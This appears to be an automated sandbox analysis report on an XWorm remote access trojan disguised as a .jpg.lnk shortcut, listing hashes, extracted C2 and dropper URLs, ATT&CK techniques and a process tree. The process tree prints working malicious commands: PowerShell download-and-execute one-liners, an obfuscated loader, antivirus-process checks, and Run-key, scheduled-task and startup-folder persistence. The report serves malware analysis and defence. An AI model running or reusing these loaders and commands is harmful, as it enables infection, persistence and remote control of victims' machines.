xworm | 92d270232d6564ce573fab75253976abeca7be39d25e1b82cc9bf902e259d53e

Resubmissions

29/03/2024, 07:30

240329-jbvgaadb27 10

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
29/03/2024, 07:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

package80171530600.jpg.lnk
Size

3KB
MD5

120d412876efbaa28dff4a9714571867
SHA1

c5c771c0176928fae424c88bd3b0be0a795cf83c
SHA256

92d270232d6564ce573fab75253976abeca7be39d25e1b82cc9bf902e259d53e
SHA512

9780d623da5cfb56f5abed4f18d30c4b0110d30bd5b2f1d00e81ce6cdac1d7ed833fa64ebd2ae301c8466d90bbae08cf16c33a647ee5416521e1a3f5ac7e9d17

Score

10^/10

xworm persistence rat trojan

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://www.drivehq.com/file/DFPublishFile.aspx/FileID11135552760/Keyek8fjxdsrd6u/egg.png

Extracted

Family

xworm

Version

5.0

Mutex

0vyG14tDobaS6ejo

Attributes

install_file
USB.exe
pastebin_url
https://pastebin.com/raw/Dh8E7H3R

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/2584-105-0x0000000000730000-0x0000000000740000-memory.dmp	family_xworm

Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs

description	pid	Process	procid_target
PID 560 created 3332	560	Telecom.pif	57
PID 560 created 3332	560	Telecom.pif	57
PID 560 created 3332	560	Telecom.pif	57

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 3 IoCs

flow	pid	Process
11	208	powershell.exe
32	3144	powershell.exe
35	3144	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	EggsDerived.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EcoScape.url	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EcoScape.url	cmd.exe

Executes dropped EXE 3 IoCs

pid	Process
4620	EggsDerived.exe
560	Telecom.pif
2584	RegAsm.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RIYvNq = "C:\\Users\\Admin\\AppData\\Roaming\\EggsDerived.exe"	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
31	bitbucket.org
32	bitbucket.org
58	pastebin.com
59	pastebin.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
4184	schtasks.exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

Process Discovery

T1057

pid	Process
4936	tasklist.exe
3496	tasklist.exe

Kills process with taskkill 2 IoCs

evasion

pid	Process
4500	taskkill.exe
3632	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Local Settings	powershell.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4396	PING.EXE

Suspicious behavior: EnumeratesProcesses 32 IoCs

pid	Process
208	powershell.exe
208	powershell.exe
208	powershell.exe
3144	powershell.exe
3144	powershell.exe
560	Telecom.pif
560	Telecom.pif
560	Telecom.pif
560	Telecom.pif
560	Telecom.pif
560	Telecom.pif
560	Telecom.pif
560	Telecom.pif
560	Telecom.pif
560	Telecom.pif
560	Telecom.pif
560	Telecom.pif
560	Telecom.pif
560	Telecom.pif
560	Telecom.pif
560	Telecom.pif
560	Telecom.pif
560	Telecom.pif
560	Telecom.pif
560	Telecom.pif
560	Telecom.pif
560	Telecom.pif
560	Telecom.pif
560	Telecom.pif
2584	RegAsm.exe
560	Telecom.pif
560	Telecom.pif

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	208	powershell.exe
Token: SeDebugPrivilege	3632	taskkill.exe
Token: SeDebugPrivilege	4500	taskkill.exe
Token: SeDebugPrivilege	3144	powershell.exe
Token: SeDebugPrivilege	4936	tasklist.exe
Token: SeDebugPrivilege	3496	tasklist.exe
Token: SeDebugPrivilege	2584	RegAsm.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
560	Telecom.pif
560	Telecom.pif
560	Telecom.pif

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
560	Telecom.pif
560	Telecom.pif
560	Telecom.pif

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2584	RegAsm.exe

Suspicious use of WriteProcessMemory 61 IoCs

description	pid	Process	procid_target
PID 4260 wrote to memory of 5012	4260	cmd.exe	97
PID 4260 wrote to memory of 5012	4260	cmd.exe	97
PID 5012 wrote to memory of 208	5012	cmd.exe	98
PID 5012 wrote to memory of 208	5012	cmd.exe	98
PID 208 wrote to memory of 3428	208	powershell.exe	101
PID 208 wrote to memory of 3428	208	powershell.exe	101
PID 208 wrote to memory of 3428	208	powershell.exe	101
PID 208 wrote to memory of 3632	208	powershell.exe	102
PID 208 wrote to memory of 3632	208	powershell.exe	102
PID 208 wrote to memory of 4500	208	powershell.exe	104
PID 208 wrote to memory of 4500	208	powershell.exe	104
PID 3428 wrote to memory of 3144	3428	mshta.exe	108
PID 3428 wrote to memory of 3144	3428	mshta.exe	108
PID 3428 wrote to memory of 3144	3428	mshta.exe	108
PID 3144 wrote to memory of 4620	3144	powershell.exe	114
PID 3144 wrote to memory of 4620	3144	powershell.exe	114
PID 3144 wrote to memory of 4620	3144	powershell.exe	114
PID 4620 wrote to memory of 4528	4620	EggsDerived.exe	115
PID 4620 wrote to memory of 4528	4620	EggsDerived.exe	115
PID 4620 wrote to memory of 4528	4620	EggsDerived.exe	115
PID 4528 wrote to memory of 4936	4528	cmd.exe	117
PID 4528 wrote to memory of 4936	4528	cmd.exe	117
PID 4528 wrote to memory of 4936	4528	cmd.exe	117
PID 4528 wrote to memory of 3528	4528	cmd.exe	118
PID 4528 wrote to memory of 3528	4528	cmd.exe	118
PID 4528 wrote to memory of 3528	4528	cmd.exe	118
PID 4528 wrote to memory of 3496	4528	cmd.exe	119
PID 4528 wrote to memory of 3496	4528	cmd.exe	119
PID 4528 wrote to memory of 3496	4528	cmd.exe	119
PID 4528 wrote to memory of 5012	4528	cmd.exe	120
PID 4528 wrote to memory of 5012	4528	cmd.exe	120
PID 4528 wrote to memory of 5012	4528	cmd.exe	120
PID 4528 wrote to memory of 4284	4528	cmd.exe	121
PID 4528 wrote to memory of 4284	4528	cmd.exe	121
PID 4528 wrote to memory of 4284	4528	cmd.exe	121
PID 4528 wrote to memory of 3656	4528	cmd.exe	122
PID 4528 wrote to memory of 3656	4528	cmd.exe	122
PID 4528 wrote to memory of 3656	4528	cmd.exe	122
PID 4528 wrote to memory of 1736	4528	cmd.exe	123
PID 4528 wrote to memory of 1736	4528	cmd.exe	123
PID 4528 wrote to memory of 1736	4528	cmd.exe	123
PID 4528 wrote to memory of 560	4528	cmd.exe	124
PID 4528 wrote to memory of 560	4528	cmd.exe	124
PID 4528 wrote to memory of 560	4528	cmd.exe	124
PID 4528 wrote to memory of 4396	4528	cmd.exe	125
PID 4528 wrote to memory of 4396	4528	cmd.exe	125
PID 4528 wrote to memory of 4396	4528	cmd.exe	125
PID 560 wrote to memory of 4292	560	Telecom.pif	126
PID 560 wrote to memory of 4292	560	Telecom.pif	126
PID 560 wrote to memory of 4292	560	Telecom.pif	126
PID 560 wrote to memory of 1976	560	Telecom.pif	127
PID 560 wrote to memory of 1976	560	Telecom.pif	127
PID 560 wrote to memory of 1976	560	Telecom.pif	127
PID 1976 wrote to memory of 4184	1976	cmd.exe	130
PID 1976 wrote to memory of 4184	1976	cmd.exe	130
PID 1976 wrote to memory of 4184	1976	cmd.exe	130
PID 560 wrote to memory of 2584	560	Telecom.pif	131
PID 560 wrote to memory of 2584	560	Telecom.pif	131
PID 560 wrote to memory of 2584	560	Telecom.pif	131
PID 560 wrote to memory of 2584	560	Telecom.pif	131
PID 560 wrote to memory of 2584	560	Telecom.pif	131

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3332
- C:\Windows\system32\cmd.exe
  cmd /c C:\Users\Admin\AppData\Local\Temp\package80171530600.jpg.lnk
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:4260
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c powershell -command "$url='https://www.drivehq.com/file/DFPublishFile.aspx/FileID11135552760/Keyek8fjxdsrd6u/egg.png';$path='C:\Users\Public\';Invoke-WebRequest -Uri $url -OutFile \"C:\Users\Admin\Downloads\egg.zip\";Expand-Archive -Path \"C:\Users\Admin\Downloads\egg.zip\" -DestinationPath $path;while($true){if(Test-Path 'C:\Users\Public\egg.hta'){Start-Process 'C:\Users\Public\egg.hta';break}else{Start-Sleep 0.5}};Remove-Item -Path \"C:\Users\Admin\Downloads\egg.zip\" -Force;taskkill /F /IM msedge.exe;taskkill /F /IM cmd.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5012
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "$url='https://www.drivehq.com/file/DFPublishFile.aspx/FileID11135552760/Keyek8fjxdsrd6u/egg.png';$path='C:\Users\Public\';Invoke-WebRequest -Uri $url -OutFile \"C:\Users\Admin\Downloads\egg.zip\";Expand-Archive -Path \"C:\Users\Admin\Downloads\egg.zip\" -DestinationPath $path;while($true){if(Test-Path 'C:\Users\Public\egg.hta'){Start-Process 'C:\Users\Public\egg.hta';break}else{Start-Sleep 0.5}};Remove-Item -Path \"C:\Users\Admin\Downloads\egg.zip\" -Force;taskkill /F /IM msedge.exe;taskkill /F /IM cmd.exe"
      4⤵
      Blocklisted process makes network request
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:208
    - - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Public\egg.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
        5⤵
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:3428
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function EEmMDtwpl($bz, $uo){[IO.File]::WriteAllBytes($bz, $uo)};function ppqoKFuXB($bz){if($bz.EndsWith((NCvJs @(59994,60048,60056,60056))) -eq $True){Start-Process (NCvJs @(60062,60065,60058,60048,60056,60056,59999,59998,59994,60049,60068,60049)) $bz}else{Start-Process $bz}};function LzwJLe($bz, $rwUEO){[Microsoft.Win32.Registry]::SetValue((NCvJs @(60020,60023,60017,60037,60043,60015,60033,60030,60030,60017,60026,60032,60043,60033,60031,60017,60030,60040,60031,60059,60050,60064,60067,60045,60062,60049,60040,60025,60053,60047,60062,60059,60063,60059,60050,60064,60040,60035,60053,60058,60048,60059,60067,60063,60040,60015,60065,60062,60062,60049,60058,60064,60034,60049,60062,60063,60053,60059,60058,60040,60030,60065,60058)), $rwUEO, $bz)};function dPzglTlqY($ir){$C = New-Object (NCvJs @(60026,60049,60064,59994,60035,60049,60046,60015,60056,60053,60049,60058,60064));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$uo = $C.DownloadData($ir);return $uo};function NCvJs($UP){$wb=59948;$s=$Null;foreach($fs in $UP){$s+=[char]($fs-$wb)};return $s};function CjiEZ(){$APRFPFrU = $env:APPDATA + '\';$YDiYUJWk = dPzglTlqY (NCvJs @(60052,60064,60064,60060,60063,60006,59995,59995,60046,60053,60064,60046,60065,60047,60055,60049,60064,59994,60059,60062,60051,59995,60054,60065,60058,60055,60053,60049,60001,60000,59995,60067,60049,60046,60057,60045,60058,59995,60048,60059,60067,60058,60056,60059,60045,60048,60063,59995,60017,60051,60051,60063,60016,60049,60062,60053,60066,60049,60048,59994,60049,60068,60049));$xsNUlTb = $APRFPFrU + 'EggsDerived.exe';EEmMDtwpl $xsNUlTb $YDiYUJWk;ppqoKFuXB $xsNUlTb;$rwUEO = 'RIYvNq';LzwJLe $xsNUlTb $rwUEO;;;;}CjiEZ;
        6⤵
        Blocklisted process makes network request
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3144
        
        C:\Users\Admin\AppData\Roaming\EggsDerived.exe
        
        "C:\Users\Admin\AppData\Roaming\EggsDerived.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4620
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c move Cutting Cutting.bat & Cutting.bat
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:4528
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        9⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:4936
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "wrsa.exe opssvc.exe"
        9⤵
        
        PID:3528
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        9⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:3496
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe"
        9⤵
        
        PID:5012
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 19963
        9⤵
        
        PID:4284
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b Northeast + Cameras + Papers + Friends + Fears + Commander + Tramadol + Plugins 19963\Telecom.pif
        9⤵
        
        PID:3656
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b Stream + Keyboard 19963\R
        9⤵
        
        PID:1736
        
        C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\19963\Telecom.pif
        
        19963\Telecom.pif 19963\R
        9⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of WriteProcessMemory
        
        PID:560
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping -n 5 127.0.0.1
        9⤵
        Runs ping.exe
        
        PID:4396
    - - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM msedge.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3632
    - - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM cmd.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4500
- C:\Windows\SysWOW64\cmd.exe
  cmd /k echo [InternetShortcut] > "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EcoScape.url" & echo URL="C:\Users\Admin\AppData\Local\EcoVision Dynamics\EcoScape.js" >> "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EcoScape.url" & exit
  2⤵
  - Drops startup file
  PID:4292
- C:\Windows\SysWOW64\cmd.exe
  cmd /c schtasks.exe /create /tn "Impaired" /tr "wscript //B 'C:\Users\Admin\AppData\Local\EcoVision Dynamics\EcoScape.js'" /sc minute /mo 3 /F
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1976
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks.exe /create /tn "Impaired" /tr "wscript //B 'C:\Users\Admin\AppData\Local\EcoVision Dynamics\EcoScape.js'" /sc minute /mo 3 /F
    3⤵
    - Creates scheduled task(s)
    PID:4184
- C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\19963\RegAsm.exe
  C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\19963\RegAsm.exe
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:2584

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\19963\R

Filesize
472KB

MD5
a8384a3f77cf55416bf3c996deb5e11c

SHA1
fb77d6b37d48394b75c0b2e18345e6358bc500c6

SHA256
dbab0bdd3b8589b95b3839fb64a1c277c62bf0777faa03dde69aa883f2e3bfa1

SHA512
63f78b82d75427ad05a9844512310daaa7fbc90a5e389c1eb6ed9e659065ee3930477b34aca68c3b1d198d47ec847f913a68b6e0e680a8d02278adaf8c683e99

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\19963\RegAsm.exe

Filesize
63KB

MD5
0d5df43af2916f47d00c1573797c1a13

SHA1
230ab5559e806574d26b4c20847c368ed55483b0

SHA256
c066aee7aa3aa83f763ebc5541daa266ed6c648fbffcde0d836a13b221bb2adc

SHA512
f96cf9e1890746b12daf839a6d0f16f062b72c1b8a40439f96583f242980f10f867720232a6fa0f7d4d7ac0a7a6143981a5a130d6417ea98b181447134c7cfe2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\19963\Telecom.pif

Filesize
925KB

MD5
62d09f076e6e0240548c2f837536a46a

SHA1
26bdbc63af8abae9a8fb6ec0913a307ef6614cf2

SHA256
1300262a9d6bb6fcbefc0d299cce194435790e70b9c7b4a651e202e90a32fd49

SHA512
32de0d8bb57f3d3eb01d16950b07176866c7fb2e737d9811f61f7be6606a6a38a5fc5d4d2ae54a190636409b2a7943abca292d6cefaa89df1fc474a1312c695f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Cameras

Filesize
108KB

MD5
d766f32452ab37f9d3f7442b79d3c7aa

SHA1
a64451c419b835c894c4ccbaec1f3b677ffb2865

SHA256
d746aab00da0d7a6642b750b8e74ecbb6e06a697a86c12c2e53d5402b2cb4f76

SHA512
bda8b83d5ca2ab979286d7eb5179a5f2f998855af08e09f9732813c935429c8404accf8eaa16b087d087314fad5f2caf5067c14e6ef61b699f71a4c89fc32ac4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Commander

Filesize
113KB

MD5
d42d5b6c62fc16537f9e02f6878a726b

SHA1
558d6606042464216a725cdd4ffa5fbee3f89754

SHA256
6da998806af8d45879b783b961b647df7fe5b37cc182eff6756da0ca6079c4ab

SHA512
d5c843be29f1a0d5f1a5da701d98b6623d628a419d4a26854871e400e91ceebcec0fd8da48116f9942aa8a41390405b5f10c9f7b447049bb9085c36ade8cff61

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Cutting

Filesize
16KB

MD5
374d1802b678505470af77cc3fc02dfc

SHA1
44a6e2ea73de59223d6a52c0d2447afd2951ba3d

SHA256
41e793cfb1b80f7fbf67dc2f2c00fd64dd37eb149f9c096c53a9024ca8be7636

SHA512
f2b07757d20526188a112b6599da04fdaf7d0cc18eb1db9e12c81711537e5324b5dc617f96d4d92e51d6c0e1c274677b3f2e294a00f5d7aa74bbfe5aa01a7e5d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Fears

Filesize
66KB

MD5
49141fa1580ff171c93aad4eb541ddab

SHA1
e7d96f4358600e4afc85460733df06c7598c81b4

SHA256
a6f110caeb2c931bad058bca3780dd4bcd4144ab16dea37553a859caa528b63e

SHA512
806d7ce5d8888ad7b55c45220e92837e69902fc483d08c12d5d899398986a88df9663dea79d3f18e355cb8ebe239affba015b5c9f33d1ee9e08e501f7d26efa7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Friends

Filesize
84KB

MD5
0cec2e416a4658bb57e658d166ba8a96

SHA1
c746a3070de12ef164e8622c74d0a0857ab7cf4e

SHA256
92a2b4a8a9044997c5c3a11a1fdaf1a446aba5248bf02d125d9ba8c1f3f06c4c

SHA512
6257914987a32213ea7abce7ae7fc042e1c2ab7009dd7206ba7b8b22ffe13d22b0ba233c668ad97999ff3f4ebf988cd9c8b1c66088107bb40285f01dc1f61fee

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Keyboard

Filesize
190KB

MD5
b7f27a133e90ae9a58e2559c9caf9759

SHA1
39b6e7de5c6dc0252f9a05b308bf079e21e4872d

SHA256
3e0d772faa0819c04b8e5c97b4fd02a78015b3b1d69af0159f875e37f60bbb00

SHA512
6e696b4ac26eeaf56637ef52653f85ab7283bb2c7b87924a86ec2c180d9903aaa9b1f2a8b986477a7b25c545afd918841e335223f76b70e66e7d43dcefff6ba9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Northeast

Filesize
238KB

MD5
0fe23aaa844275cc69153c1c530f056a

SHA1
6e7fd65663cfa44ba68c8367a1c415e999cb8371

SHA256
19942d356ec90f076d6eda272030d4c341877fd7df58fb7ff4c804bddbf01d99

SHA512
e163b670fa69e5e540d0b9904d72f11f6f21b3f72d757d4cf96edf6d8bc8d4e47dbb61a1483aae979fec31f41ff55d4e5a017ffe7b22e857787bd96f397be1d3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Papers

Filesize
267KB

MD5
1f22516db88c817a0a2690ae44d0d5a1

SHA1
941957208145b05374152eebceb4b1e27ac567b6

SHA256
d8b1ce1a6dd67094e5a6b1c2b48115d561e7e012079be031b48f1791a2acbe12

SHA512
b46a51743dcc7e52bc00cbeef2034d6568c93b09bcdf7bb86298bbeaa0a2fc4c9d4d5838eb545f263fc15d09a578ad9b57cb853d93667cadf8c51e8ae36a686a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Plugins

Filesize
4KB

MD5
3cbf1d6d00412611d1c10072a5608ae7

SHA1
368a8a3592cc335aba9e99e8c4bb716f5228df49

SHA256
181c602909f69f5524318810ad257eeb3f8831e34f826e5dabf3a797da1fffed

SHA512
39fdb41cd9034f53f1a4e0863d8ad0c3aabb8f0b0f91b49dd51987da6a71bf171302409c1f118fceb7285aaaf816c977b8f432d616a5f05a8763142a5f352817

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Stream

Filesize
282KB

MD5
545e573943b2d77f96aaf83a4c90468d

SHA1
ca20a8ff17c84969b352adfb2911c9c365c731dc

SHA256
66dbd0bd2ac4ae854ac15b01ef61265093da7e4534dd630a5955d8879b155bc7

SHA512
700d03b06cda42b07f97c238ec8e7c1cabda1aec1c85cbfb8d0145f67fd3da9d0e4f11ff8c6aeaf24806600e9016366c4566c29ce05d2325802a045be90c3f8c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Tramadol

Filesize
45KB

MD5
cb0cf96099e0cd964ccc2003ce264d93

SHA1
2d15db969842a6b196336fb1baf6ca38be482a59

SHA256
520481555dd6940947dd602f3db5a162ba0f7d8cb201c01eb4124fdf70645d88

SHA512
ade03ecbbdfc1f99d5e364b2a2b5933a243709b1f73f3aaa77e5634115b32fd262026902cab965b39438e7080e33eacdc45f8d8101ab95981a6e97a6f5b67b7b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
1bdb07c530480f1263fc35e751f4b225

SHA1
b24d82c594c22a7422cd3ec5deec51b3294693cc

SHA256
2e25757772a519ffa04073a20724f5dad1e2e59831b522ecfb30c32bd1ac6863

SHA512
d455df909bc4918f12f31c2d7ff95b7edf9b565681ce9589dcb49b60b5ac2fee0516fc4745da4d2f144163d4d25499fc60b9fb1bb8706e81bfac62d4b8bc8977

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_x55gx4en.zol.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\EggsDerived.exe

Filesize
10.0MB

MD5
63b3dd980ac9a06fd167b0df8121c979

SHA1
eb2737c8940e03d64c8b6e3ff59db07a1a1ec4a0

SHA256
44d97e36a72d87c6b928ccc6ec05a80672bcbf65fc357e0e4ac20ecdd11e837e

SHA512
8baabed3323abdbc172f4fe3fa107e12ff6296d0f86efa85ae76258a83a8102e6c50697478a0571692262dc7c24b56f6de8866e474a7d731ef0e559add018ea4

Download Submit
C:\Users\Public\egg.hta

Filesize
50KB

MD5
59a4d867137719f2247edc8ea56ca0f3

SHA1
6298597d4c20ec711c496f19e6b318e9c3fc0132

SHA256
db6b4c44783770e8f95081a8b3d31e9c49bca5579e015c00202d6ca2564e9b0a

SHA512
dfe4ca47fe12e5f790539768a99e1256614988d84f1b895cabf4466efefe2e2256a05e8e83d9b9bb29fbda2601fc78412f0542c8ba30b7ded75588558c5f28f3

Download Submit
memory/208-24-0x00007FFCE8000000-0x00007FFCE8AC1000-memory.dmp

Filesize
10.8MB

Download
memory/208-10-0x00007FFCE8000000-0x00007FFCE8AC1000-memory.dmp

Filesize
10.8MB

Download
memory/208-11-0x000001863F3A0000-0x000001863F3B0000-memory.dmp

Filesize
64KB

Download
memory/208-1-0x000001865A370000-0x000001865A392000-memory.dmp

Filesize
136KB

Download
memory/208-12-0x000001863F3A0000-0x000001863F3B0000-memory.dmp

Filesize
64KB

Download
memory/208-14-0x000001865A700000-0x000001865A712000-memory.dmp

Filesize
72KB

Download
memory/208-15-0x000001865A6F0000-0x000001865A6FA000-memory.dmp

Filesize
40KB

Download
memory/560-103-0x00000000021A0000-0x00000000021A1000-memory.dmp

Filesize
4KB

Download
memory/560-95-0x00000000778A1000-0x00000000779C1000-memory.dmp

Filesize
1.1MB

Download
memory/2584-109-0x00000000741C0000-0x0000000074970000-memory.dmp

Filesize
7.7MB

Download
memory/2584-114-0x0000000004BB0000-0x0000000004BC0000-memory.dmp

Filesize
64KB

Download
memory/2584-113-0x00000000741C0000-0x0000000074970000-memory.dmp

Filesize
7.7MB

Download
memory/2584-112-0x0000000005AA0000-0x0000000005AAA000-memory.dmp

Filesize
40KB

Download
memory/2584-111-0x0000000005AC0000-0x0000000005B52000-memory.dmp

Filesize
584KB

Download
memory/2584-110-0x0000000004BB0000-0x0000000004BC0000-memory.dmp

Filesize
64KB

Download
memory/2584-108-0x0000000004C80000-0x0000000004D1C000-memory.dmp

Filesize
624KB

Download
memory/2584-105-0x0000000000730000-0x0000000000740000-memory.dmp

Filesize
64KB

Download
memory/3144-31-0x00000000050E0000-0x0000000005102000-memory.dmp

Filesize
136KB

Download
memory/3144-68-0x0000000071ED0000-0x0000000072680000-memory.dmp

Filesize
7.7MB

Download
memory/3144-57-0x0000000010640000-0x0000000010BE4000-memory.dmp

Filesize
5.6MB

Download
memory/3144-56-0x00000000076D0000-0x00000000076F2000-memory.dmp

Filesize
136KB

Download
memory/3144-55-0x00000000078B0000-0x0000000007946000-memory.dmp

Filesize
600KB

Download
memory/3144-54-0x0000000002A70000-0x0000000002A80000-memory.dmp

Filesize
64KB

Download
memory/3144-52-0x0000000002A70000-0x0000000002A80000-memory.dmp

Filesize
64KB

Download
memory/3144-50-0x0000000071ED0000-0x0000000072680000-memory.dmp

Filesize
7.7MB

Download
memory/3144-49-0x0000000006770000-0x000000000678A000-memory.dmp

Filesize
104KB

Download
memory/3144-48-0x0000000007A10000-0x000000000808A000-memory.dmp

Filesize
6.5MB

Download
memory/3144-47-0x0000000002A70000-0x0000000002A80000-memory.dmp

Filesize
64KB

Download
memory/3144-46-0x0000000006310000-0x000000000635C000-memory.dmp

Filesize
304KB

Download
memory/3144-45-0x00000000061E0000-0x00000000061FE000-memory.dmp

Filesize
120KB

